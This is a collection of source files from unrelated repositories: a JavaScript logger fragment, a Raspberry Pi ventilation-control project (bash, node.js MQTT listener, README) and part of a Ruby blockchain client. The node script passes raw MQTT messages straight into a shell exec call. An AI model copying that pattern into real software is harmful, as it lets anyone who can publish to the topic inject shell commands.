(!_.isString(messages[i])) { output.push(messages[i] instanceof Error ? messages[i].toString() : JSON.stringify(messages[i])); } else { output.push(messages[i]); } } var date = new Date(); var month = date.getMonth() + 1; month = (month < 10 ? '0' : '') + month; var day = date.getDate(); day = (day < 10 ? '0': '') + day; var hour = date.getHours(); hour = (hour < 10 ? '0' : '') + hour; var minutes = date.getMinutes(); minutes = (minutes < 10 ? '0' : '') + minutes; var seconds = date.getSeconds(); seconds = (seconds < 10 ? '0' : '') + seconds; var time = day + '.' + month + '.' + date.getFullYear() + ' ' + hour + ':' + minutes + ':' + seconds; var logMessage = '[' + time + '] - ' + output.join(' '); console.log(level, logMessage); }; /** * Set current loglevel */ Logger.prototype.checkLevel = function() { if(!this.level || this.level != global.debugLevel) { this.level = global.debugLevel || this.defaultLevel; this.info('Log level:', this.level); } }; /** * Short level methods */ Logger.prototype.info = function() { this.log('info', arguments); }; Logger.prototype.debug = function() { this.log('debug', arguments); }; Logger.prototype.warn = function() { this.log('warn', arguments); }; Logger.prototype.error = function() { this.log('error', arguments); }; exports.plugin = new Logger();
d9adb989456435ac8df257f6108e81b0d31fa65b
[ "JavaScript", "Markdown", "Shell" ]
9
JavaScript
abdusalamov/one-two-trip-test-task
ae6d09bc9caab9a41e77739b4bee2f22b2855d0d
401708e56dd1d2a99747576e6e6f1d61076db603
refs/heads/master
<repo_name>marnikvd/brink-renovent-excellent-RPI-ebusd<file_sep>/ventctl.sh #!/bin/bash # 2018/04/21 Marnik : first commit # Execute this command on the command line to get usage discription : # bash ventctl.sh ARGS=1 # Script requires 1 argument. E_BADARGS=85 # Wrong number of arguments passed to script. E_UNKNOWN=86 # Unknown option. PIPE="vent_pipe" MAXATTEMPT=3 # Function vent_read() is a daemon function # It is called with : # vent_read & # sleep 1 # disown # The "&" makes it run in the background. # It will get it's own process ID but the name will still be the name of this script! # Commands to this daemon are passed via the pipe $PIPE # The "sleep 1" is needed to establish the pipe correctly. # If the sleep command is ommited, the pipe will be a regular file instead!!! # The "disown" will make this function stay alive when this shell script terminates # When the daemon terminates it will close the pipe (trap on EXIT). # The proper way to terminate the daemon is by executing the command : # bash ventctl.sh stop vent_read() { trap "rm -f $PIPE" EXIT mkfifo $PIPE read msg <$PIPE # wait for first message while :; do # infinite loop if [[ "$msg" == 'stop' ]]; then exit 0 fi ebusctl w -c kwl FanSpeed $msg # https://stackoverflow.com/questions/6448632/read-not-timing-out-when-reading-from-pipe-in-bash if read -t 60 <>$PIPE ; then msg="$REPLY" fi done } if [ $# -eq "$ARGS" ]; then # check the number of arguments case $1 in "Minimal"|"Reduced"|"Normal"|"Intensive") SPEEDMODE=$1 exitcode=1 ;; "stop") exitcode=0 ;; *) exitcode=$E_UNKNOWN ;; esac else exitcode=$E_BADARGS fi if [ "$exitcode" -gt 1 ]; then echo "Usage: bash "$(basename $0)" Minimal|Reduced|Normal|Intensive|stop" exit $exitcode fi if [ "$exitcode" -eq 0 ]; then if [[ ! -p $PIPE ]]; then echo "pipe not open - unable to send stop message" exit 1 fi echo "stop" >$PIPE exit 0 fi if [[ ! -p $PIPE ]]; then vent_read & sleep 1 disown fi echo "$SPEEDMODE" >$PIPE <file_sep>/setvent_1.js // node.js script voor instellen stand ventilatie mbv mqtt // https://blog.risingstack.com/getting-started-with-nodejs-and-mqtt/ /* execute as daemon with following command $ node setvent_1.js </dev/null >/dev/null 2>&1 & disown */ const mqtt = require('/usr/lib/node_modules/mqtt') const client = mqtt.connect('mqtt://192.168.0.92:1883') const { exec } = require('child_process') client.on('connect', () => { client.subscribe('renovent') }) client.on('message', (topic, message) => { console.log('received message %s %s', topic, message) switch (topic) { case 'renovent': return handleRenoventRequest(message) } }) function handleRenoventRequest (message) { console.log('ventilatie %s', message) exec('bash ventctl.sh ' + message, (err, stdout, stderr) => { if (err) { // node couldn't execute the command return; } // the *entire* stdout and stderr (buffered) console.log(`stdout: ${stdout}`); console.log(`stderr: ${stderr}`); }); } //https://stackoverflow.com/questions/14031763/doing-a-cleanup-action-just-before-node-js-exits/14032965#14032965 process.stdin.resume();//so the program will not close instantly function exitHandler(options, err) { if (options.cleanup) console.log('clean'); if (err) console.log(err.stack); if (options.exit) process.exit(); } //do something when app is closing process.on('exit', exitHandler.bind(null,{cleanup:true})); //catches ctrl+c event process.on('SIGINT', exitHandler.bind(null, {exit:true})); // catches "kill pid" (for example: nodemon restart) process.on('SIGUSR1', exitHandler.bind(null, {exit:true})); process.on('SIGUSR2', exitHandler.bind(null, {exit:true})); //catches uncaught exceptions process.on('uncaughtException', exitHandler.bind(null, {exit:true})); <file_sep>/README.md # brink renovent excellent + Raspberry Pi + ebusd</br> <p>This <a href="https://www.thermad-brink.be/nl-BE/renovent-excellent/9/25/">heat recovery appliance</a> needs to receive every minute a send and keep alive command from the master on the ebus link in order to maintain its ventilation flow rate. The script <ins>ventctl.sh</ins> can be used to do this from the command line.<br /> The node.js script <ins>setvent_1.js</ins> exposes this functionality to mqtt.</p> <p>sources <ul> <li><a href="https://forum.fhem.de/index.php/topic,84636.0.html">Raspberry pi extension board</a></li> <li>https://github.com/john30/ebusd<br /> /usr/bin/ebusd -d /dev/ttyebus -p 8888 -l /var/log/ebusd.log --scanconfig --httpport=8080 --mqttport=1883 --mqtthost=localhost --sendretries=5</li> <li>https://github.com/eBUS/ttyebus</li> <li>https://github.com/timd93/ebusd-config-brink-renovent-excellent-300</li> <li>mosquitto</li> <li>node.js</li> <li>crontab : <code>0,15,30,45 * * * * ~/ebusd/contrib/scripts/readall.sh -c kwl InsideTemperature</code></li> <li><a href="https://play.google.com/store/apps/details?id=net.routix.mqttdash&hl=nl">android mqtt dash</a> <ul> <li>button 1 <ul> <li>Topic (sub) = ebusd/kwl/FanSpeed</li> <li>publishing enabled</li> <li>Topic (pub) = renovent</li> <li>Options = <ul> <li>Payload = Minimal</li> <li>Payload = Reduced</li> <li>Payload = Normal</li> <li>Payload = Intensive</li> </ul></li> </ul></li> <li>button 2 <ul> <li>Topic (sub) = ebusd/kwl/InsideTemperature</li> </ul></li> </ul></li> </ul></p>
e97a8e549f7aed9ba3beb467d89a220b837c95af
[ "JavaScript", "Markdown", "Shell" ]
3
Shell
marnikvd/brink-renovent-excellent-RPI-ebusd
6001bfdac95fb4bf6794e5d8cebb6ce180f9fc28
95f020d7e3de0a32bde712888df7b030940639db
refs/heads/master
<repo_name>protherj/OurUmbraco<file_sep>/OurUmbraco/Community/Models/IGitHubContributorModel.cs namespace OurUmbraco.Community.Models { public interface IGitHubContributorModel { } }<file_sep>/OurUmbraco/Community/Controllers/GitHubGlobalContributorModel.cs using System.Collections.Generic; using System.Linq; using OurUmbraco.Community.Models; namespace OurUmbraco.Community.Controllers { public class GitHubCachedGlobalContributorModel { public int AuthorId { get; set; } public string AuthorLogin { get; set; } public string AuthorUrl { get; set; } public string AuthorAvatarUrl { get; set; } public int TotalCommits { get; set; } public int TotalAdditions { get; set; } public int TotalDeletions { get; set; } public GitHubCachedGlobalContributorModel() { } public GitHubCachedGlobalContributorModel(GitHubGlobalContributorModel contributor) { AuthorId = contributor.Author.Id; AuthorLogin = contributor.Author.Login; AuthorUrl = contributor.Author.HtmlUrl; AuthorAvatarUrl = contributor.Author.AvatarUrl; TotalCommits = contributor.TotalCommits; TotalAdditions = contributor.TotalAdditions; TotalDeletions = contributor.TotalDeletions; } } public class GitHubGlobalContributorModel { public List<GitHubContributorModel> Items { get; set; } public int Id { get { return Author.Id; } } public int TotalCommits { get { return Items.Sum(x => x.Total); } } public int TotalAdditions { get { return Items.Sum(x => x.TotalAdditions); } } public int TotalDeletions { get { return Items.Sum(x => x.TotalDeletions); } } public Author Author { get { return Items.First().Author; } } public GitHubGlobalContributorModel(IEnumerable<GitHubContributorModel> items) { Items = items.ToList(); } } }<file_sep>/OurUmbraco/Community/Models/IGitHubContributorsModel.cs namespace OurUmbraco.Community.Models { public interface IGitHubContributorsModel { } }<file_sep>/OurUmbraco/Our/Api/GithubController.cs using System.Collections.Generic; using OurUmbraco.Community.Models; using RestSharp; namespace OurUmbraco.Our.Api { public class GitHubController { private const string RepositoryOwner = "Umbraco"; private const string GitHubApiClient = "https://api.github.com"; private const string UserAgent = "OurUmbraco"; /// <summary> /// Get all contributors from GitHub Umbraco repositories /// </summary> /// <param name="repo"></param> /// <returns></returns> public IRestResponse<List<GitHubContributorModel>> GetAllRepoContributors(string repo) { var client = new RestClient(GitHubApiClient); var request = new RestRequest(string.Format("/repos/{0}/{1}/stats/contributors", RepositoryOwner, repo), Method.GET); client.UserAgent = UserAgent; var response = client.Execute<List<GitHubContributorModel>>(request); return response; } } } <file_sep>/OurUmbraco/Community/Controllers/GitHubContributorController.cs using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Web.Mvc; using OurUmbraco.Community.Models; using OurUmbraco.Our.Api; using RestSharp; using Umbraco.Core.Cache; using Umbraco.Core.Logging; using Umbraco.Web.Mvc; using Newtonsoft.Json.Linq; using Newtonsoft.Json; using System.Text; namespace OurUmbraco.Community.Controllers { public class GitHubContributorController : SurfaceController { /// <summary> /// Repositories to include in the combination of contributions /// </summary> private readonly string[] Repositories = { "Umbraco-CMS", "UmbracoDocs", "OurUmbraco", "Umbraco.Deploy.Contrib", "Umbraco.Courier.Contrib", "Umbraco.Deploy.ValueConnectors" }; protected string JsonPath { get { return Server.MapPath("~/App_Data/TEMP/GithubContributors.json"); } } public List<GitHubCachedGlobalContributorModel> GetCachedContributors() { if (!System.IO.File.Exists(JsonPath)) throw new Exception("The JSON file doesn't exist on disk"); List<GitHubCachedGlobalContributorModel> temp = new List<GitHubCachedGlobalContributorModel>(); // Parse the JSON file from disk foreach (JToken token in Skybrud.Essentials.Json.JsonUtils.LoadJsonArray(JsonPath)) { temp.Add(token.ToObject<GitHubCachedGlobalContributorModel>()); } return temp; } /// <summary> /// Gets data for all GitHub contributors for all listed Umbraco repositories, /// excluding the GitHub IDs of the HQ contributors from the text file list /// </summary> /// <returns></returns> public ActionResult GitHubGetContributorsResult(bool force = false) { var model = new GitHubContributorsModel(); model.Contributors = new List<GitHubCachedGlobalContributorModel>(); try { // If the file exists on disk and hasn't expired (AKA not older than one day), we should just load that if (force == false && System.IO.File.Exists(JsonPath) && System.IO.File.GetLastWriteTimeUtc(JsonPath) >= DateTime.UtcNow.AddDays(-1)) { model.Contributors = GetCachedContributors(); return PartialView("~/Views/Partials/Home/GitHubContributors.cshtml", model); } try { // Load the contributors via the GitHub API and map to the cached model var contributors = GetContributors().Select(x => new GitHubCachedGlobalContributorModel(x)); // Serialize the contributors to raw JSON string rawJson = JsonConvert.SerializeObject(contributors, Formatting.Indented); // Save the JSON to disk System.IO.File.WriteAllText(JsonPath, rawJson, Encoding.UTF8); model.Contributors = contributors.ToList(); } catch (Exception ex) { // Log the error so we can debug it later LogHelper.Error<GitHubContributorController>("Unable to load GitHub contributors from the GitHub API", ex); // Load the contributors from the cache (if we have any) model.Contributors = GetCachedContributors(); } } catch (Exception ex) { // Log the error so we can debug it later LogHelper.Error<GitHubContributorController>("Unable to load GitHub contributors from the GitHub API", ex); } return PartialView("~/Views/Partials/Home/GitHubContributors.cshtml", model); } public List<GitHubGlobalContributorModel> GetContributors() { string configPath = Server.MapPath("~/config/githubhq.txt"); if (!System.IO.File.Exists(configPath)) { LogHelper.Debug<GitHubContributorController>("Config file was not found: " + configPath); throw new Exception("Config file was not found: " + configPath); } string[] login = System.IO.File.ReadAllLines(configPath).Where(x => x.Trim() != "").Distinct().ToArray(); var githubController = new GitHubController(); var gitHubContributors = new List<GitHubContributorModel>(); foreach (var repo in Repositories) { var response = githubController.GetAllRepoContributors(repo); if (response.StatusCode == HttpStatusCode.OK && response.ResponseStatus == ResponseStatus.Completed) { gitHubContributors.AddRange(response.Data); } else { LogHelper.Warn<IGitHubContributorsModel>(string.Format("Invalid HTTP response for repository {0}", repo)); } } // filter to only include items from the last year (if we ran 4.6.1 we could have used ToUnixTimeSeconds()) var filteredRange = DateTime.UtcNow.AddYears(-1).Subtract(new DateTime(1970, 1, 1)).TotalSeconds; foreach (var contrib in gitHubContributors) { var contribWeeks = contrib.Weeks.Where(x => x.W >= filteredRange).ToList(); contrib.TotalAdditions = contribWeeks.Sum(x => x.A); contrib.TotalDeletions = contribWeeks.Sum(x => x.D); contrib.Total = contribWeeks.Sum(x => x.C); } var filteredContributors = gitHubContributors .Where(g => !login.Contains(g.Author.Login)) .GroupBy(g => g.Author.Id) .OrderByDescending(c => c.Sum(g => g.Total)); List<GitHubGlobalContributorModel> temp = new List<GitHubGlobalContributorModel>(); foreach (var group in filteredContributors) { var contributor = new GitHubGlobalContributorModel(group); if (contributor.TotalCommits > 0) { temp.Add(contributor); } } return temp; } } } <file_sep>/OurUmbraco/Community/Models/GitHubContributorsModel.cs using System.Collections.Generic; using OurUmbraco.Community.Controllers; namespace OurUmbraco.Community.Models { public class GitHubContributorsModel : IGitHubContributorsModel { public List<GitHubCachedGlobalContributorModel> Contributors { get; set; } } }
2f17af0d528c03161301b29b8918f573aeef1964
[ "C#" ]
6
C#
protherj/OurUmbraco
a58a59b78d3ef101d8c4408af2f6d51cc1bbb7fd
0c23fe24bb12737940c610f7cac68a513529ee26
refs/heads/master
<file_sep>// // TransferAccountFund.swift // BankApp // // Created by <NAME> on 8/14/20. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct TransferFundRequest: Codable { let accountFromId: String let accountToId: String let amount: Double } <file_sep>// // TransferFundResponse.swift // BankApp // // Created by <NAME> on 8/14/20. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct TransferFundResponse: Decodable { let success: Bool let error: String? } <file_sep>// // CreateAccountResponse.swift // BankApp // // Created by <NAME> on 8/9/20. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct CreateAccountResponse: Decodable { let success: Bool let error: String? } <file_sep>// // Double+Extensions.swift // BankApp // // Created by <NAME> on 8/3/20. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation extension Double { func formatAsCurrency() -> String { let formatter = NumberFormatter() formatter.numberStyle = .currency let formattedCurrency = formatter.string(from: self as NSNumber) return formattedCurrency ?? "" } } <file_sep>// // CreateAccountRequest.swift // BankApp // // Created by <NAME> on 8/11/20. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct CreateAccountRequest: Codable { let name: String let accountType: String let balance: Double } <file_sep> import Foundation extension URL { static func urlForAccounts() -> URL? { return URL(string: "https://coral-stealth-anglerfish.glitch.me/api/accounts") } static func urlForCreateAccounts() -> URL? { return URL(string: "https://coral-stealth-anglerfish.glitch.me/api/accounts") } static func urlForTransferFunds() -> URL? { return URL(string: "https://coral-stealth-anglerfish.glitch.me/api/transfer") } } <file_sep> import SwiftUI struct TransferFundsAccountSelectionView: View { @ObservedObject var transferFundsVM: TransferFundsViewModel @Binding var showSheet: Bool @Binding var isFromAccount: Bool var body: some View { VStack(spacing: 10) { Button("From \(self.transferFundsVM.fromAccountType)") { self.isFromAccount = true self.showSheet = true }.padding().frame(maxWidth: .infinity) .background(Color.green) .foregroundColor(Color.white) Button("To \(self.transferFundsVM.toAccountType)") { self.isFromAccount = false self.showSheet = true }.padding().frame(maxWidth: .infinity) .background(Color.green) .foregroundColor(Color.white) .opacity(self.transferFundsVM.fromAccount != nil ? 1.0 : 0.5) .disabled(self.transferFundsVM.fromAccount == nil) TextField("Amount", text: self.$transferFundsVM.amount) .textFieldStyle(RoundedBorderTextFieldStyle()) }.padding() } }
fd49d800e2d7c2769e868cf488f21a7d82b650ba
[ "Swift" ]
7
Swift
zawmoehtike/banking-swiftui-mvvm
9ec3ed9affb96c17802bcd2d4ac647178f292986
8f665d18c119c7a6cb92d1bd023ca55a0a86b3b2
refs/heads/master
<repo_name>caarlosdamian/ClassJavascript<file_sep>/Class Arrays/Map.js let arr = [1, 5, 6, 8, 7, 5]; var tasks = [ { name: "Write for Envato Tuts+", duration: 120, }, { name: "Work out", duration: 60, }, { name: "Procrastinate on Duolingo", duration: 240, }, ]; function suma(arr) { let sum = 0; arr.map((val) => { sum += val; }); return console.log("Valor usando map " + sum); } function getTask() { var task_names = tasks.map(function (task) { return task.name; }); return console.log(task_names); } suma(arr); getTask(tasks); <file_sep>/Class Arrays/Reduce.js let arr = [1, 5, 6, 8, 7, 5]; // var tasks = [ // { // name: "Write for Envato Tuts+", // duration: 120, // }, // { // name: "Work out", // duration: 60, // }, // { // name: "Procrastinate on Duolingo", // duration: 240, // }, // ]; // function suma(arr) { // return console.log( // "Varlos usando reduce " + // arr.reduce( // (Acumulador, elementoActual, posicion, arr) => // Acumulador + elementoActual // ) // ); // } // suma(arr); const numeros = [71, 41, 19, 88, 3, 65]; const doblesConMap = (value)=>{ return value*2 } const acumularDobles = (acumulador, numero) => { return [...acumulador,numero * 2]; }; const dobles = numeros.reduce(acumularDobles, []); const doblesmap = numeros.map(doblesConMap) console.log(dobles); console.log(doblesmap); <file_sep>/README.md # Class Javascript📚 Javascript class material in which I am an instructor of a group of people who like me love to create new things. ## Installation Use the package manager [node](https://nodejs.org/es/download/) to run the file. #### `node file.js` ## Contributing Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. Please make sure to update tests as appropriate. ## License [Caarlosdamian](https://github.com/caarlosdamian)®️
a37454d0a469eca4048d556f144259ee19f28715
[ "JavaScript", "Markdown" ]
3
JavaScript
caarlosdamian/ClassJavascript
72e2256991e1103d0f2a6690ff81b88f9b05c9af
41c56f2cdd3f6fee4ff9ae6070e795d2fd843d8b
refs/heads/master
<repo_name>AlexMilbrandt/369-large-project<file_sep>/spec/views/works/edit.html.erb_spec.rb require 'spec_helper' describe "works/edit" do before(:each) do @work = assign(:work, stub_model(Work, :name => "MyString", :artist_id => 1, :materials => "MyText", :image_url => "MyString" )) end it "renders the edit work form" do render # Run the generator again with the --webrat flag if you want to use webrat matchers assert_select "form[action=?][method=?]", work_path(@work), "post" do assert_select "input#work_name[name=?]", "work[name]" assert_select "select#work_artist_id[name=?]", "work[artist_id]" assert_select "textarea#work_materials[name=?]", "work[materials]" assert_select "input#work_image_url[name=?]", "work[image_url]" end end end <file_sep>/spec/requests/artists_spec.rb require 'spec_helper' describe "Artists" do subject { page } describe "GET /artists" do it "works! (now write some real specs)" do # Run the generator again with the --webrat flag if you want to use webrat methods/matchers get artists_path response.status.should be(200) end end describe "create with invalid information" do before do visit artists_path click_link "New Artist" end it "should not create an Artist" do expect { click_button "Create Artist" }.not_to change(Artist, :count) end describe "error messages" do before { click_button "Create Artist" } it { should have_content('error') } it { should have_content('Name can\'t be blank') } it { should have_content('Born can\'t be blank') } it { should have_content('Died can\'t be blank') } it { should have_content('Born must have format: YYYY-MM-DD') } it { should have_content('Died must have format: YYYY-MM-DD') } end end end <file_sep>/app/models/work.rb class Work < ActiveRecord::Base validates :name, presence: true validates :year_completed, presence: true validates_format_of :year_completed, with: /\d{4}/, message: "must have format: YYYY" validates :materials, presence: true def self.search(search) if search if !Artist.where('name LIKE ?', "%#{search}%").empty? && Movement.where('name LIKE ?', "%#{search}%").empty? where('name LIKE ? OR year_completed LIKE ? OR materials LIKE ? OR artist_id LIKE ?', "%#{search}%", "%#{search}%", "%#{search}%", Artist.where('name LIKE ?', "%#{search}%").first.id) else if Artist.where('name LIKE ?', "%#{search}%").empty? && !Movement.where('name LIKE ?', "%#{search}%").empty? where('name LIKE ? OR year_completed LIKE ? OR materials LIKE ? OR artist_id LIKE ?', "%#{search}%", "%#{search}%", "%#{search}%", Artist.where(movement_id: Movement.where('name LIKE ?', "%#{search}%").first.id).first.id) else where('name LIKE ? OR year_completed LIKE ? OR materials LIKE ?', "%#{search}%", "%#{search}%", "%#{search}%") end end else all end end end <file_sep>/features/step_definitions/artist_steps.rb Given(/^artist "(.*?)" exists with movement name "(.*?)" and born "(.*?)" and died "(.*?)"$/) do |artist_name, movement_name, born, died| movement_id = Movement.where(name: movement_name).first.id Artist.create! name: artist_name, movement_id: movement_id, born: born, died: died end Then(/^a new artist with name "(.*?)" should exist belonging to movement with name "(.*?)"$/) do |artist_name, movement_name| artist = Artist.where(name: artist_name).first movement = Movement.where(name: movement_name).first artist.should_not be_nil artist.movement_id.should == movement.id end <file_sep>/app/views/artists/show.json.jbuilder json.extract! @artist, :id, :name, :movement_id, :born, :died, :created_at, :updated_at <file_sep>/features/step_definitions/movement_steps.rb Given(/^movement "(.*?)" exists with description "(.*?)"$/) do |movement_name, description_text| Movement.create! name: movement_name, description: description_text end Then(/^a new movement with name "(.*?)" should exist$/) do |movement_name| movement = Movement.where(name: movement_name).first movement.should_not be_nil end <file_sep>/features/step_definitions/navigation_steps.rb Given(/^I am on the home page$/) do visit root_path end Given(/^I am on the work page$/) do visit works_path end Given(/^I am on the artist page$/) do visit artists_path end Given(/^I am on the movement page$/) do visit movements_path end When(/^I follow "(.*?)"$/) do |link_text| click_link link_text end Then(/^I am on the movement index$/) do current_path.should == movements_path end Then(/^I am on the new movement form$/) do current_path.should == new_movement_path end Then(/^I am on the new artist form$/) do current_path.should == new_artist_path end Then(/^I am on the new work form$/) do current_path.should == new_work_path end When(/^I am on the show page for that movement$/) do movement = Movement.last movement.should_not be_nil visit movement_path(movement) end When(/^I am on the show page for that artist$/) do artist = Artist.last artist.should_not be_nil visit artist_path(artist) end When(/^I am on the show page for that work$/) do work = Work.last work.should_not be_nil visit work_path(work) end <file_sep>/features/step_definitions/work_steps.rb Given(/^work "(.*?)" exists with artist name "(.*?)" and year completed "(.*?)" and materials "(.*?)" and image "(.*?)"$/) do |work_name, artist_name, year_completed, materials, image| artist_id = Artist.where(name: artist_name).first.id Work.create! name: work_name, artist_id: artist_id, year_completed: year_completed, materials: materials, image_url: image end Then(/^a new work with name "(.*?)" should exist belonging to artist with name "(.*?)"$/) do |work_name, artist_name| artist = Artist.where(name: artist_name).first work = Work.where(name: work_name).first work.should_not be_nil work.artist_id.should == artist.id end <file_sep>/spec/models/movement_spec.rb require 'spec_helper' describe Movement do it { should respond_to :name } it { should validate_presence_of :name } it { should respond_to :description } it { should validate_presence_of :description } it { should have_many :artists } end <file_sep>/spec/views/static_pages/home.html.erb_spec.rb require 'spec_helper' describe "static_pages/home.html.erb" do subject { page } before { visit root_path } it "should have text 'Welcome'" do should have_content('Welcome') end it "should have link to Movements" do should have_link('Movements', href: movements_path) end it "should have link to Artists" do should have_link('Artists', href: artists_path) end #it "should have link to Works" do # should have_link('Works', href: works_path) #end end <file_sep>/features/step_definitions/page_content_steps.rb Then(/^I should see "(.*?)"$/) do |desired_content| page.should have_content(desired_content) end Then(/^I should not see "(.*?)"$/) do |desired_content| page.should_not have_content(desired_content) end Then(/^I should see image "(.*?)"$/) do |image| page.should have_xpath("//img[@src=\"#{image}\"]") end <file_sep>/spec/requests/works_spec.rb require 'spec_helper' describe "Works" do subject { page } describe "GET /works" do it "works! (now write some real specs)" do # Run the generator again with the --webrat flag if you want to use webrat methods/matchers get works_path response.status.should be(200) end end describe "create with invalid information" do before do visit works_path click_link "New Work" end it "should not create a Work" do expect { click_button "Create Work" }.not_to change(Work, :count) end describe "error messages" do before { click_button "Create Work" } it { should have_content('error') } it { should have_content('Name can\'t be blank') } it { should have_content('Year completed can\'t be blank') } it { should have_content('Materials can\'t be blank') } it { should have_content('Year completed must have format: YYYY') } end end end <file_sep>/spec/routing/movements_routing_spec.rb require "spec_helper" describe MovementsController do describe "routing" do it "routes to #index" do get("/movements").should route_to("movements#index") end it "routes to #new" do get("/movements/new").should route_to("movements#new") end it "routes to #show" do get("/movements/1").should route_to("movements#show", :id => "1") end it "routes to #edit" do get("/movements/1/edit").should route_to("movements#edit", :id => "1") end it "routes to #create" do post("/movements").should route_to("movements#create") end it "routes to #update" do put("/movements/1").should route_to("movements#update", :id => "1") end it "routes to #destroy" do delete("/movements/1").should route_to("movements#destroy", :id => "1") end end end <file_sep>/spec/models/artist_spec.rb require 'spec_helper' describe Artist do it { should respond_to :name } it { should validate_presence_of :name } it { should respond_to :born } it { should validate_presence_of :born } it { should respond_to :died } it { should validate_presence_of :died } it { should have_many :works } end <file_sep>/README.rdoc == README This is the final project for CS 369 for Geoffrey Class and <NAME>. It is intended to be an editable database of artistic movements, the artists who contribted to them, and the works those artists produced. <file_sep>/spec/models/work_spec.rb require 'spec_helper' describe Work do it { should respond_to :name } it { should validate_presence_of :name } it { should respond_to :year_completed } it { should validate_presence_of :year_completed } it { should respond_to :materials } it { should validate_presence_of :materials } it { should respond_to :image_url } end <file_sep>/features/step_definitions/form_steps.rb When(/^I select "(.*?)" for "(.*?)"$/) do |option_text, select_label| select option_text, from: select_label end When(/^I fill in "(.*?)" with "(.*?)"$/) do |field_label, content| fill_in field_label, with: content end #When(/^I fill $/) When(/^I press "(.*?)"$/) do |button_text| click_button button_text end <file_sep>/app/models/artist.rb class Artist < ActiveRecord::Base validates :name, presence: true validates_format_of :born, with: /\d{4}-[0-1]\d-[0-3]\d/, message: "must have format: YYYY-MM-DD" validates :born, presence: true validates_format_of :died, with: /\d{4}-[0-1]\d-[0-3]\d/, message: "must have format: YYYY-MM-DD" validates :died, presence: true has_many :works def self.search(search) if search if !Movement.where('name LIKE ?', "%#{search}%").empty? where('name LIKE ? OR born LIKE ? OR died LIKE ? OR movement_id LIKE ?', "%#{search}%", "%#{search}%", "%#{search}%", Movement.where('name LIKE ?', "%#{search}%").first.id) else where('name LIKE ? OR born LIKE ? OR died LIKE ?', "%#{search}%", "%#{search}%", "%#{search}%") end else all end end end <file_sep>/spec/requests/movements_spec.rb require 'spec_helper' describe "Movements" do subject { page } describe "GET /movements" do it "works! (now write some real specs)" do # Run the generator again with the --webrat flag if you want to use webrat methods/matchers get movements_path response.status.should be(200) end end describe "create with invalid information" do before do visit movements_path click_link "New Movement" end it "should not create a Movement" do expect { click_button "Create Movement" }.not_to change(Movement, :count) end describe "error messages" do before { click_button "Create Movement" } it { should have_content('error') } it { should have_content('Name can\'t be blank') } it { should have_content('Description can\'t be blank') } end end end
29a85628e022252dc730308524392c0eb90bdfb3
[ "RDoc", "Ruby" ]
19
Ruby
AlexMilbrandt/369-large-project
ae7ea598da5de79eaa75b2d54e2cbd40c85a4d0a
0a232d8e9b2c30af812ac4b19a4e0cd8f52411d7
refs/heads/master
<file_sep>Gem::Specification.new do |s| s.name = 'vchain_client' s.version = '1.0.37' s.authors = ["<NAME>"] s.email = '<EMAIL>' s.homepage = 'http://rubygems.org/gems/vchain_client' s.summary = "VChain Platform client written on Ruby" s.description = "Fully functional client for VChain Platform written on Ruby. For more info visit https://github.com/vchain-dev/ruby-client" s.license = 'MIT' s.date = '2017-04-11' s.files = ["lib/vchain_client.rb", "lib/vchain_client/blockchain_adapter.rb", "lib/vchain_client/bitcoind_blockchain_adapter.rb", "lib/vchain_client/blockcypher_blockchain_adapter.rb", "lib/vchain_client/blockchain_adapter_factory.rb", "lib/vchain_client/blockchain_connection.rb", "lib/vchain_client/crypto.rb", "lib/vchain_client/blockstack_client.rb", "lib/vchain_client/decision_algos/decision_algorithm.rb", "lib/vchain_client/decision_algos/vector_based_decision_algorithm.rb"] s.add_dependency('log4r', '~> 1.1', '>= 1.1.10') s.add_dependency('json', '~> 1.8', '>= 1.8.3') s.add_dependency('rest-client', '~> 2.0', '>= 2.0.0') end<file_sep>module VChainClient class BitcoindBlockchainAdapter < VChainClient::BlockchainAdapter @log = nil @config = nil @server = nil @port = nil @rpc_username = nil @rpc_password = nil @@tx_cache = {} def initialize(server, port, rpc_username, rpc_password, adapter_config, app_config) @server = server @port = port @rpc_username = rpc_username @rpc_password = <PASSWORD> @config = app_config @log = Log4r::Logger["vchain_client"] end def getName() return "BitcoindBlockchainAdapter" end def getTx(txid) if @@tx_cache.key?(txid) if @log.debug? @log.debug("[Bitcoind.getTx] '#{txid}' is in a cache") end return @@tx_cache[txid] end if @log.debug? @log.debug("[Bitcoind.getTx] input:") @log.debug("-> txid: #{txid}") @log.debug("-> server: #{@server}") @log.debug("-> port: #{@port}") end raw_tx = nil begin raw_tx = self.getRawTx(txid) rescue => e if @log.error? @log.error("[Bitcoind.getTx] getRawTx raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("--> txid: #{txid}") end raise e end confirmations_threshold = 5 if @config.key?("blockchain_confirmations") confirmations_threshold = @config["blockchain_confirmations"] end if raw_tx != nil if raw_tx.key?("confirmations") if raw_tx["confirmations"] > confirmations_threshold if raw_tx.key?("blockhash") if raw_tx.key?("blocktime") op_return = nil begin op_return = self.getOpReturn(raw_tx) rescue => e if @log.error? @log.error("[Bitcoind.getTx] getOpReturn raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> txid: #{txid}") @log.error("--> raw_tx:") @log.error(raw_tx) end raise e end if op_return != nil prefix = op_return[0..2] if prefix == "VCH" op_return = op_return[5..op_return.length] out = { "size" => raw_tx["size"], "block_hash" => raw_tx["blockhash"], "block_timestamp" => raw_tx["blocktime"], "op_return" => op_return } @@tx_cache[txid] = out return out else if @log.error? @log.error("[Bitcoind.getTx] wrong prefix '#{prefix}'") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] failed to get OP_RETURN") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] no 'block_hash' field in response") @log.error("-> txid: #{txid}") @log.error("-> server: #{@server}") @log.error("-> port: #{@port}") @log.error("-> raw_tx:") @log.error(raw_tx) end end else if @log.error? @log.error("[Bitcoind.getTx] no 'block_hash' field in response") 